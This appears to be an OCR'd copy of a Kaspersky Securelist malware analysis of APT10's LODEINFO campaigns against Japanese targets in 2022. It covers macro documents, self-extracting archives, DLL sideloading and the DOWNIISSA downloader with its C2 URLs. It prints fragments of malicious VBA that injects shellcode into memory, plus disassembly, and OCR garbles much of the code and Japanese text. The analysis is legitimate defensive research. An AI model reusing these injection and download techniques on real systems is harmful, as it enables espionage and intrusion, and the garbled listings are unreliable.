securelist.com /apt10-tracking-down-lodeinfo-2022-part-i/107742/

APT10: Tracking down LODEINFO 2022, part |
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New infection vector using SFX file and DOWNIISSA downloader

Kaspersky has been tracking activities involving the LODEINFO malware family since 2019, looking for
new modifications and thoroughly investigating any attacks utilizing those new variants. LODEINFO is
sophisticated fileless malware first named in a blogpost from JPCERT/CC in February 2020. The
malware was regularly modified and upgraded by the developers to target media, diplomatic,
governmental and public sector organizations and think-tanks in Japan.
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Japan is likely the main target of LODEINFO

Researchers continued tracking LODEINFO after that. JPCERT/CC and Macnica Networks shared
additional updates on LODEINFO activities in a later publication. Kaspersky researchers also shared new
findings during the HITCON 2021 conference, covering LODEINFO activities from 2019 to 2020, and
revealing high-confidence attribution to APT10.

In March 2022, we observed a Microsoft Word file that was used as the infection vector in some attacks.
In June of the same year, a SFX file was discovered targeting the Japanese government or related
organizations using a decoy file with Japanese content, as well as utilizing the name of a famous
Japanese politician in the filename. A new downloader shellcode named DOWNIISSA that is used to
deploy the LODEINFO backdoor was also observed.

The first part of this report will provide technical analysis of the new infection methods such as SFX files
and DOWNIISSA along with our findings. The second part will provide technical analysis of the
LODEINFO backdoor and the related shellcode for each version of the backdoor with the latest
LODEINFO loCs and related information discovered in 2022.

Customers of Kaspersky Threat Intelligence Service have access to additional private APT reports
describing past LODEINFO activities.

Initial infection #1: VBA + DLL sideloading
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During our investigation of the attacks in March 2022, we observed a spear-phishing email with a
malicious attachment installing malware persistence modules, which consisted of a legitimate EXE file
and a malicious DLL file loaded via the DLL sideloading technique. For example, the following section
describes a malicious Microsoft Word file (MD5: da20ff8§988198063b56680833¢c298113) that was
uploaded to Virustotal. Once the target opens the malicious doc file, a message in Japanese is displayed
(A>R=2y b EF2)TAREIZLDE. 771U ERIZDIZ. LOBRBDOFFa2 42 b=
MREABAMNCT S, ¥ TaACTIVDOEUML &) v LTL &, Translation: “According to
your internet security settings, click “Enable Editing” and “Enable Content” on the yellow document bar
above to open this file.”) to trick the victims into clicking “Enable Content” and enabling the embedded

macro.

=] J a2FRSAR10BGIL 502291 1] doc - Ward el - -

® Deign  Leyout  Releences  Mailags Revew  View  Help ) Tellme
i) It;-“.:.: u .L X, X - ML o S B AaBbCeL| AaBbCCL / oxl.Text {4 C:\Users\Public\THOPA\
e - ' . . ory) = vbNullString Then GoTo MMOTVAUKD
- ¥ A-F-A-ha- (KA EHE DA ": MkDir (UGCENLCYI)
Cliphaard % Fond . Paragragh . Styles . LText f/ MBXMLZ .DOMDOCUMENT
| SECURITY WARMING Macros hive ben dissbled Eruble Content / F X6 Text /{ BIN.BASEE4
(  DTIQEQXWD = U Te Text // UESDBBQRAAATAAOVKFKSShEEVZEBAAAM. . .
\  With Createobij D ~eateElement (™W™)
dataT A
.Text = DTI b
\ SIKHBENAX = .nodeTypedvalu
| End with
TUDIDIDYV Texts 3 // TUDIDIDYV = GFIUFR.zip
Debug.Print ™ 't TUDID CENLCYI & TUDIDIDYV
Microsoft Visual Basic for Applications b Z-EtLg.FI':_lr‘t "UBSUXVIVE™ : For Binary As #15
Debug.Print "exXAL
AvE—hy hbEaVFARELEBE, 774 AEMLS A Debug.Print "LL_E-_IEP'_'" c '/ shell.ioplicats
I 2 EORED FEaAy -0 TERERMITS) L3 = Lserrormt. e /4 shell.spplication
PEYOaE] XV S LTLOEIN, DY) .items
= (UWBQFUTDB)
FIQAH /4 C:\Users\Public\TMWOPAYNRTOLF . exe
ART Dim OEAFCPGEDA
] Debug.Print "WNTFONHDSGAE™: OEAFCPGDA = Shell(FIQaHXBEWM, @)
Activebocument.Paragraphs (1) .Range.Delete
Debug.Print "EGMLFBUFQ™: = wdColorBlack
Debug.Print " DWLPSOXUQEK \ =g
Debug.Print "QYPYNKGFRWCV™: A
MNOTVAUKD :
End Sub
Pagelaf1  Meweed:s [ Englioh United Stater) I m B - (] + 0N |

The message in Japanese to trick the target into clicking “Enable Content” and embedded VBA

code

The embedded VBA code creates the folder C:\Users\Public\TMWJPA\ and drops a zip file named
GFIUFR.zip (MD5: 89bd9cf51f8e01bc3b6ec025ed5775fc) in the same folder. The GFIUFR.zip contains
two files named NRTOLF.exe and K7SysMn1.dIl. NRTOLF.exe (MD5:
7f7d8c9c1b6735807aefb0841b78f389) is a digitally signed legitimate EXE file from the K7Security Suite
software used for DLL sideloading. K7SysMn1.dll (MD5: cb2fcd4fd44a7b98af37c6542b198f8d) is a
malicious DLL sideloaded by NRTOLF.exe. The malicious DLL file contains a loader of the LODEINFO
shellcode. This DLL is a known loader module of LODEINFO. It contains a one-byte XOR-encrypted
LODEINFO shellcode internally identified by version 0.5.9. This infection method was also used by the
threat actor in the previous attacks we investigated.

Apart from this, we discovered two more implants related to LODEINFO that were used in other infection
methods in 2022.

Initial infection #2: SFX + DLL sideloading

One of the implants is a self-extracting archive (SFX) file in RAR format (MD5
76cdb7fe189845a0bc243969dbade7a3) that was also uploaded to Virustotal. Similarly, the archive
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contains three files named 1.docx, K7SysMn1.dll and K7SysMon.exe, with the self-extracting script
commands shown below. There is also a comment added by the malware author written in Japanese that
can be translated as “The following comment contains a self-extracting script command”.

—

Comment=;AFHa X2 MIBEDHERZ) AT FERFATUHET(

Path=%temp%\
Setup=%temp%\1.docx
Setup=%temp%\K7SysMon.Exe
Silent=1

Overwrite=1

© o0 N oo o A w DN

10 Date Time Attr Size Compressed Name

1

12 2022-06-14 03:47:04 ....A 11900 9181 1.docx
13 2021-08-18 18:58:58 ....A 342528 169345 K7SysMn1.dll

14 2022-04-19 09:44:45 ... A 91464 45247 K7SysMon.Exe
15

16 2022-06-14 03:47:04 445892 223773 3 files

When a targeted user executes this SFX file, the archive drops other files to %temp% dir and opens
1.docx as a decoy containing just a few Japanese words such as BIAZE (“Application”), &7 (“name”)
and X—)L 77 K Lo X (“email address”), as shown on the following screenshot.
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T.docx - Word (Product Activation Failed)

elp & Tell me what you wanit to do

s

e
A—=T FL A t_@outlook.jp

Simple decoy document content from 1.docx

While showing the decoy file to the user, the archive script starts K7SysMon.exe, which loads the
malicious DLL from K7SysMn1.dll (MD5: a8220a76c¢2fe3f505a7561c3adba5d4a) via DLL sideloading.
The K7SysMn1.dll contains a BLOB with an obfuscated routine not observed in past activities. The
embedded BLOB is divided into four-byte chunks, and each part is stored in one of the 50 randomly
named export functions of the DLL binary. These export functions reconstruct the BLOB in an allocated
buffer and then decode the LODEINFO shellcode using a one-byte XOR key.
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.text:10044r70 buf_reconstruct = dword ptr @
.text:10044r70
.text:10044r70 reconstructed BLOB = eax
Name Address Ordinal .text: 10044770 st push ebp
.text:10044r71 mov ebp, es
CNWQEM 10044F70 1 .text:10044r73 mov raﬁnnlt_l:uer_.d_nm. [ebptbuf_reconstruct]
7l s Jtext:10044F76 ush ebx
|| DIIRegisterServer 10009060 2 F aat (1004aRTT Sdek . il
Ly : .text:10044r78 ush edi
\f| Dllunregisterserver 10041F10 3 .text:10044r79 e edx, 7CB5B5DSh
{¥] .text:10044r7E mov edi, 0BlOBB274h
_f! Hob6gpLeBrfmuld7i3_a 10024650 4 gttt — s Teaivoash
ﬂ 110Y9GWbMIoK8zDTRAF 1002D5B0 5 -H.vext:10024650 buf_reconstruct = dword ptr @
e j.ttx\::lﬂﬂ!ldso
1f] 1p5j32esqudfQs4 100409E0 6 .text:10024650 reconstructed_BLOB = eax
m .ceaxt:10024650 push ebp
\f| |_qww94BcF6P10XmaHZ  1000BEBO 7 .text:10024651 mov ebp, esp
_ .text:10024653 mov reconstructed BLOB, [ebptbuf_ reconstruct]
1£] JquMZCyVioSbx 10008570 8 .text:10024656 push  ebx ——
1 .text:10024657 ush esi
1f] K210ZB6L75H4n 10018480 9 .text :10024 658 Em abx, 42BDBOBCh
{7] KU4kQIGH3UFVOIILEW 10000590 10 rext:10024662 —% i
7l .text:10024663 mov dword ptr [reconstructed BLOB+187B4h], 35r8347oh
il LHAt6SPIWUTF 10034FDO " ‘Y. text:1002D580 buf_reconstruct = dword ptr &
{#] MzahiwLKbdop 100274E0 12 9. text :10020580
.text:1002D580 reconstructed BLOB = eax
d I d .text:1002D580 push ebp
-text:1002D5B1 mov ebp, es
Ran Om y name 50 .text:1002D5BR3 mov rl::cn-tzu:t.d_!m!, [ebptbuf_ reconstruct]
exports reconstruct BLOB g+t sl o
.text:1002D0588 mov ecx, 3CTABDBDh
.text :1002D58D push edi
.taxt:1002D5BE mov edi, 366D42D5h
.text:1002D5C3 mov [reconstructed BLOB+12CCBh], eex
.text:1002D5C9 mov [reconstructed_BLOB+12cDCh], ecx
l.text:1002p5Cr BOY [zeconstructed BLOB+IZCrOh], ecx ) |
.text: 10030587 g, s L LB P B S LG M i ™" e e e R T :
-text:1003D587 ; 024A0048 54 2D 36 BC BD E8 36 51 36 r8 AD 38 7D C8 B8 36 T-6M%e6060.8)E 6
.text:1003D587 ; D24A0058 Fr8 BS EO0 7E EB 36 C8 Bl EA 36 cO BS5 86 43 CB 98 epa~-&6Ex&6An.cE.
.text:1003D587 ; 024A0068 30 rS 42 37 B9 8C 30 A9 84 35 Br 38 74 C9 92 96 08B7'.00.5:8tE.. "_
.text:1003D587 ; 024A0078 4A 30 D9 99 BD 37 r9 AB 42 r7 r4 35 Br c8 4B 36 JOU.%Th«B+55,EK6
.text:1003D587 H i saes ._
ek lODEDERE | e N e Cuie Wt i e P B et o i e
-text: 10030580
.text:1003D5BD loc_l003D5BD: ; CODE XREF: StartSystemMonitor+l56tj
.text:1003D5BD lea eax, [esi+l]
.text:100305C0 size = ecx
-text:1003D5C0 mowv size, 95607h
-text:1003D5C5
.caxt:1003D5¢5 a_byte xor_ 1003D5cS5: ; CODE XREF: StartSystemMonitor+lré.j
.text:1003D5c5 movZX edx, byte ptr [esi+lc2l4h] ; OxBD
.text:1003Dp5cC xor [eax-1], dl
.text:1003D5Ccr mMOVIX edx, byte ptr [esi+lcZl4h]
.text:1003D5D6 xor [eax], dl One‘b\"te XOR dECOde
.text:1003D5D8 mOVIX edx, byte ptr [esi+lc2ldh]
.text:1003D5DrF xor [eax+1], dl
.text:1003D5E2 add eax, 3
.text:1003D5E5 dec size
.text:1003D5E6 jnz short a_byte_xor_1 D5C5 ; decrypted_shellcode =
.text:1003D5E6 ; 024m0048 E9 90 8B 01 00 55 8B EC 8B 45 10 85 cO 75 05 8B é....U.i.E..Au..
.text:1003D5E6 ; 024A0058 45 08 5D c3 56 8B 75 OC 57 8B 7D 08 3B FE 76 25 E.]JAV.u.W.}.;pve
.text:1003D5E6 ; 024A0068 8D 48 Fr BA 04 31 8D 14 39 88 02 85 c9 74 2r 2B .Hy..1..9...Et/+
.text:1003D5E6 ; 024m0078 r7 8D 64 24 00 BA 44 16 Fr 4A 49 88 02 75 ré 6B +.d§5..D.Y¥JI. .ud.

-text:1003D5E6 ; 024m0088 C7 5r 5£ 5D c3 85 c0 74 15 8B D6 8B Cr 2B D7 8B l;'_‘]i.j\t_.n.lfx.
-text:1003D5E6 J= s

Reassembling the payload BLOB from parts

The payload that is eventually deployed by this implant is the LODEINFO v0.6.3.
Initial infection #3: SFX + DLL sideloading + additional BLOB file

We also discovered another similar SFX file named <masked>!"lsns F&hE kD HEAL.exe
(Translation: The spreading request for sns movie of <masked>). The attackers exploited the name of a
well-known Japanese politician. The embedded self-extracting script and files are very similar to the
previous sample discussed in the Initial Infection #2 section of this article. However, this sample contains
an additional file named K7SysMon.Exe.db. Previously observed loader modules had a BLOB with the
encrypted shellcode embedded in the executable file, but in this sample K7SysMn1.dll does not contain
the BLOB. Instead, the loader module reads the K7SysMon.Exe.db file as the encrypted BLOB and
decrypts the shellcode, which is the LODEINFO v0.6.3 backdoor. The title of the SFX file, as well as the
document content, displays a request to spread a video of the famous politician for SNS (Social Network
Service). We believe this SFX file was spread via a spear-phishing email on June 29, 2022, based on the
last archiving timestamp. The file name and the decoy document suggest the target was the Japanese
ruling party or a related organization.
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On July 4, 2022, another SFX file (MD5 edc27b958c36b3af5ebc3f775ce0bcc7) was discovered. The
archived files, the payload and also the C2 address were very similar to the previous sample set. The
only notable difference was the Japanese title of the decoy document: “BX#t D HFELY (“Request for
coverage”). We think this SFX file was probably used to target Japanese media companies.

Initial infection #4: VBA + undiscovered downloader shellcode
DOWNIISSA

Back in August 2020, we discovered a fileless downloader shellcode dubbed DOWNJPIT, a variant of the
LODEINFO malware, and gave a presentation on it at HITCON 2021. In June 2022, we found another
fileless downloader shellcode delivered by a password-protected Microsoft Word file. The filename is H
KEBOIPLE N R USRS gtk doc (“Enhancing the deterrence and coping power of the Japan-US
alliance.doc”). The document file contains malicious macro code that is completely different from
previously investigated samples. Once opened, the doc file shows a Japanese message to enable the
following VBA code.

Const MEM_COMMIT = &H1888
Const PAGE_EXECUTE_READWRITE

fHaa

Private Sub ExecuteshellCode()
pim sshellCode As String
Dim lpMemory As LongPir
Dim 1Result As LongPtr

Injects shellcode

s5hellCode = ShellCode()

lpMemory = Virtualalloc (@€, Len(sShellCode), MEM_COMMIT, PAGE EXECUTE_READWRITE) in the winword.exe

1Result = WriteProcessMemory(-1&, lpMemory, sshellCode, Len(sShellCode), 8&)

1Result = CreateThread(e&, €&, lpMemory, &, 8&, B&)
End Sub _
Private Functicn ShellCodel(} As String

rim sShellfode As String

s5hellCode = "

s5hellCode = sShellCode + "EaABAABIE+WITIVIRYXAERIITwhkQYvISA++wkmL+f SIS IEMLWUIDRAJDZMZMZMZMZMET VWK EEID"

s5hellCode = sShellCode + "dCQETIIEJEhXQWREBVURHQWAIg+wgZUILBOVEARAARTVERIVPSI1SIFEMISEYTYEhIE 2L 9ASFRARASY "
[ _skTPPED_]]

s5hellCode = sShellCode + "QYPBAE+I7/Z//4UFCAEAADNE/P/S /MIJBUACAAABIIE/ /@82 LxbroeFaMueYedy7oRT 3/ // /QTIUSILEE"

sshellCode = sShellCode + "AABMIZOKWAEAAEILTCTIAQAAMBBEIFCTQAQAAQN1BXFIbXCMA="

ShellCodel = sShellCode
End Functicn
Private Functicn ShellCede(} As string

rim sShellfode As String

s5hellCode = Chr{&HEB)} + Chr({&H3A)} + Chr{&H31) + Chr{&HD2} + Chr{&H8e)} + Chr{&H3B} + Chr{&H2B} + Chr{&H75) +
Chr(&H4} + Chr{&HB2} + Chr{&H3E} + Chr{&HEB} + Chr({&H28)} + Chr(&HZ8) + Chr{&H3B)} + Chr{&H2F)

sShellCode = sShellCode + Chr(&H75) + Chr(&k4) + Chr{&HB2)} + Chri{&H3F)} + Chr{&HEB} + Chr{&H1D} + Chr{&Hze) +
Chr(&H38) + Chr(&H39) + Chr(&H77) + Chr(&H7} + Chr{&HzAa) + Chr{&H13) + Cchr{&H28) + Chr({EHEA} + Chr{&HFC)
[[_SKIPPED_]]

s5hellCode = sShellCode + Chr(&HFF) + Chr(&H2e) + Chr(&HC4) + Chr(&HC1) + Chr(&HCE) + Chr(&H18) + Chr(&HEE) +
Chr(&HCa) + Chr(&HC1) + Chr({&HCE) + Chr(&HE) + Chr(&H29) + Chr(&Hl1} + Chr(&H48) + Chr(&HE3)} + Chr(&HC1)

s5hellCode = sshellCode + Chr(&H3) + Chr{&HEE} + Chr{&HD3)

55hellCode = sshellCode + ShellCodel()

Malicious VBA code inside MS Word file found in June 2022

Unlike past samples, such as the one described in the Initial Infection #1 section of this article, where the
malicious VBA macro was used to drop different components of the DLL sideloading technique, in this
case the malicious macro code injects and loads an embedded shellcode in the memory of the
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WINWORD.exe process directly. This implant was not present in past activities and the shellcode is also
a newly discovered multi-stage downloader shellcode for LODEINFO v0.6.5.

This downloader shellcode was completely different from the DOWNJPIT variant. The new downloader
shellcode has two URLs inside:

o http://172.104.112[.]218/11554 .htm
o http://www.dvdsesso[.Jcom/11554.htm

We named this new downloader DOWNIISSA, where [ISSA is a string derived from 11554 in the file
names found in the URLs. The following diagram shows the complicated infection flow from the malicious
document file to the final payload downloaded by DOWNIISSA.

create process
I >
Rl L LAY N R Memory ---- reeee i RO REE ¥ cne-- Memory -----
i L!gltmate de(.lypt &inject | Legitimate

Open - winword.exe msiexec.exe

Inject

| _shellcode read E !

—— ! Enable” Sk !
Ea | content shellcode | shellcode

malicious.doc | Embedded macro DOWNIISSA 2?22.tmp LODEINFO backdoor |

download

11554.htm ® ﬁ

C&C server

communication

LODEINFO infection process via DOWNIISSA

As mentioned earlier, the embedded macro generates the DOWNIISSA shellcode and injects it in the
current process (WINWORD.exe). The main downloader code is base64-encoded and placed at the
beginning of the DOWNIISSA shellcode, which gets decoded and patched by the shellcode itself.

003c loc_3c: ; CODE XREF: sub_0t3
003C loa_3c: CODE XREF: :uh ot _'| 003e lea rex, basefids ed_shellcods
003c lea rcx, ataabaabigwitiv SaABA T FIVIRYXACBAT L TwkQ 0043 mav zhx, rex
0043 mov rhx, rex D046
0046 0046 basetddec_46: ; CODE XMEF: sub_0+7143
0046 basetddec_46: CODE XREF: sub_0+71:3 o048 xor SAX, SAX
0046 xor eAX, eax o048 cmp byte Dl:! lrhx] 30h
0048 cmp byte ptr [rbx], 3Dh o048 jz short basef ded_shell
oo4B j=z short near ptr afaabaabigWwitiwv SAABAABIg+WITIVIRYX 004D call sub_2
004D call sub_2 0052 call .ub_2
0052 call sub_2 0057 call sub_2
0057 call sub_2 0osc
o0s5c call sub_2 0O5C loc_5cC: DATA XREF: getapibyhash _AB+1Cir
0061 xchg al, ah 005c call sub_2
0063 £al eax, 10h o061 xchyg al, ah
0066 xchg al, ah o063 el eax, 10h
o068 ror eax, 8 D066 xchg al, ah
0068 mov [rex], esax 0068 ror eax, &
006D add rex, 3 mow [rex], eax
0071 ___3mp  short basefidec_df Baseb4 decode and self-patch JREEEECICRIS
0071 r rus i CHUNK FOR k jmp short basefid
0071 oo
0073 afaabaabigWitiv db *GaABAABIg+WITIVIRYXAABATITWkOYVISA++wknL+£0qsIs8JERLWULiDK 0073
7 ; CODE XREF: sub_O+4Btj 0073 pasefddecoded_shellcode: ; CODE XREF: sub_0+4Btj
A 0073 X
db *MzMzMxIiVwkEELiJACOgTILEIBhXIVRBVUFWGVAIg+wgZUiLBCVGANAART 0073 jmp sub_218
db *lsJrEMiOgYTYthIEZLIABERAAASYt+IEZLNKLF/weEvMAAAERjRZYLIDL 0073 ; END OF FUNCTION CHUNK F k
db 'Fhuh-uuu::.\ POEANLAIMABC20kUPEGhFhM] 0 TRYPHOQAAREPVARBYG 1B ooTe
db ' SAGH TMEJ/ 8, qdWpEL 1 OgMiuLdRhMAS +F Snfa ZmimD o078
db *ABFixMzwEWD10ZL kaP'qT!NCBD.AE‘LMPHA"IAMM!LDW DByAlBgP 0078
db *GNSUAPTMPJ /S EDWUWEWHXGRDV A ADL,/ wimDww( 7 InKxTTvODAUS/ / / /BB 0078
db 'LK_H!’_It..vuhIl;S\‘qQ\vBEKKFdQ\.xfn.1LﬂCRg.IMdAp\.;9J‘.LS."."..OVF 0078 sub_78 proc near ; CODE XREF: sub_218+470:ip
db ‘RA+IBFMLTRXIASICIWSBSAPHE T XMIMIMINZMIHIMIEBVULABVEFVSIZ2 8T 0078
db ‘ezQAOAARTPAuUnruyhgSréorbuhn/v//TIvAunZGidqSriorbkyLEohs /v 0078 var_8 = gqword ptr -8
db *y+LjCSrBorbkyL4ogd/v/ /TYvIunsng+GSriorbkil+0Ogo/v/ /SIZNAAE 0078
db ‘AAESSRTNILIIHhOOBAAAYAAAAGE/ UTYvEuulIRKISSipItuil/E/ fugIn ooTe sub rap, 8
db *‘heAFPhbXFAART ibOkyAERAE? LxUyJtCTARQARUhu+CRGSFEorbkyJwCs4a 00Te mov rd, rex
db */INiBVILYUYAQARULCWEpWSESorbuih/ £/ /TYvrSI1F@LQVCIBaunfKK 0oTr test r8d, r8d
db "2LxUiIRELGfZPSvbkXyitusHXS// INLBVIiUUAUUZcan+SFBorbuht/ £/ o082 j= short loc_98
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DOWNIISSA base64 decode and self-patch

After it has been decoded, some important strings are found with a one-byte XOR encryption. For
example, the two C2 destination addresses are decrypted in the following code.

0038E xor 2AX, eax

a0380 mov [rbpt0F0htenc e2_ 1], OABAFAFE3h ; xored http://172.104.112.218/11554 _htm
00387 mow edx, SBCl3BZBh A

a03sc mov [rbp+0F0h+var 14F], rax

003a0 mov ecx, GE2BCAL1Th

a03a5 mow [rbp+0F0h+var 147], rax

003a9 mov [rbp+0F0h+var_11cC], rax

003aD mov [rbp+0F0ht+var 114], rax [

003el mov [rbp+0F0h+var 16C], OEAF4F4Elh ; A tl';."tE ¥Or
00388 mow [rbp+0F0h+var_168], OEAFSESECh i

003BF mov [rbp+0F0h+var_ 164], OEAFSEFEEh

003cE mow [rbpt0FDh+var_160], OESFSEIEAR

003co mov [rbp+0F0ht+var 15C], OEAF4E3IERAh

a03p4 mow [rbp+0F0h+var 158], OEFEEEEERh

003DE mow _[rbp+0F0h+var 154], OBGAFB3FSh [

003E2 mov | [rbpt+0F0hta_byte_xor_key 1], ODBh Feeoeoooeeeed

003E6 mov [rbpt0F0htenc c2_ 2], SAGATEH00h ; xored_http://www.dvdsesso.com,/11554.htm
003ED mow [rbp+0F0h+var_13B], 3131246Eh A

003F4 mow [rbp+0F0h+var_137], 30696965%h ;

003FB mow [rbp+0F0h+var_133], G6DTAGETAL

00402 mow [rbp+0F0h+var_12r], 716D607Bh H

00402 mowv [cep+0F0h+var_12B], 73717D30h i A b'y"tE xor
00410 mow [rbp+0F0h+var_127], ZBZFZFrilh H

00417 mow [rbp+0F0h+var_123], 78302A2Bh

0041E mow [rbpt+0F0h+var_11F], 736ah [

0p4z4 mow [[zbpt+0FOh+ta_byte_xor_key 21, 1BR |-——--—emmmmmeeeeeeeeeee!

XORed C2 destinations embedded in the main function of DOWNIISSA shellcode

DOWNIISSA uses the URLDownloadToFileA() API function to download the BLOB from the URL
addresses and drop it as % TEMP%/${temp}.tmp. Then it reads the file into allocated memory in the
current process and deletes the downloaded temp file immediately. We confirmed that both URLs served
the same binary data that was XORed with the one-byte XOR key stored at the end of the BLOB itself.
After XOR decryption, the LODEINFO backdoor shellcode v0.6.5 was found. For the final stage of the
infection, DOWNIISSA creates an instance of msiexec.exe and injects the LODEINFO backdoor
shellcode in the memory of the process.

This new infection flow involving the DOWNIISSA shellcode has not been seen in previous activities
using LODEINFO and is a new TTP in 2022.

Apart from the 11554.htm file found in this sample, we also discovered files with other names such as
3390.htm, 5246.htm and 16412.htm, hosted on the same C2 servers in July 2022. 3390.htm (MD5:
0fcf90fe2f5165286814ab858d6d4f2a) and 11554.htm (MD5: f7de43a56bbb271f045851b77656d6bd)
were one-byte XORed LODEINFO v0.6.5 shellcodes downloaded via DOWNIISSA malware. The XOR
key for each sample was found at the end of the file. The 5246.htm (MD5:
6780d9241ad4d8de6e78d936fbf5a922) and 16412.htm (MD5: 15b80c5e86b8fd08440fe1a9ca9706c9)
files are one-byte XORed unique data structures. The data structure found in the 5246.htm file is shown
below:

Offset Data example Descriptions

0x000000 265715 Memory allocation size (probably)
The size of this data structure

0x000004 265712 without memory allocation size

and data size
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0x000008 3 Number of embedded files

0x000009 91464 Data size of embedded file1
0x00000D 13 Filename size of embedded file1
0x00000E ‘K7SysMon.Exe’,0 Filename of file1

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00

00
0x00001B B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 | 1€ legitimate EXE file for DLL

00 sideloading

[SKIPPED]
0x016563 57856 Data size of embedded file2
0x016567 13 Filename size of embedded file2
0x016568 ‘K7SysMn1.dII’,0 Filename of file2

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00

00

Malicious DLL file that is the
0x016575 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 loading module of LODEINFO

00 without embedded BLOB
[SKIPPED]
0x024775 116335 Data size of embedded file3
0x024779 16 Filename size of embedded file3
0x02477A ‘K7SysMon.Exe.db’,0 Filename of file3

A byte XORed BLOB is read by
the loading module to infect
LODEINFO v0.6.5. The key is at
the end of the data

73 3A3C 9B 9A CF 11 76 11 DF 8A 1F 5A EF
0x02478A 9F 11 DF 92 C7 59 CC 11 EF 96 CD 11 E7 92
A1 64 EC BF [SKIPPED]

This data structure contains the names of three files: K7SysMon.exe, K7SysMn1.dll (MD5:
c5bdf14982543b71fb419df3b43fbf07) and K7SysMon.exe.db (MD5:
c9d724c2c5ae9653045396deaf7e3417). This suggests that an undiscovered downloader module
downloads 5246.htm from the C2 to assist with the installation of some embedded files on the victim’s
machine.

Conclusions

LODEINFO was first discovered in 2019. LODEINFO and its infection methods have been constantly
updated and improved to become a more sophisticated cyber-espionage tool while targeting
organizations in Japan. The LODEINFO implants and loader modules were also continuously updated to
evade security products and complicate manual analysis by security researchers.

These modifications may serve as a confirmation that the threat actors track publications by security
researchers and learn how to update their TTPs and improve their malware. In fact, we haven’t detected
any activities involving the LILIMRAT and the DOWNJPIT malware from this threat actor since publishing
our investigation results at HITCON 2021. We believe this cat-and-mouse game will continue in the
future.

To be continued in Part II...
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[l Personal name of Japanese politician was masked to protect their identity.
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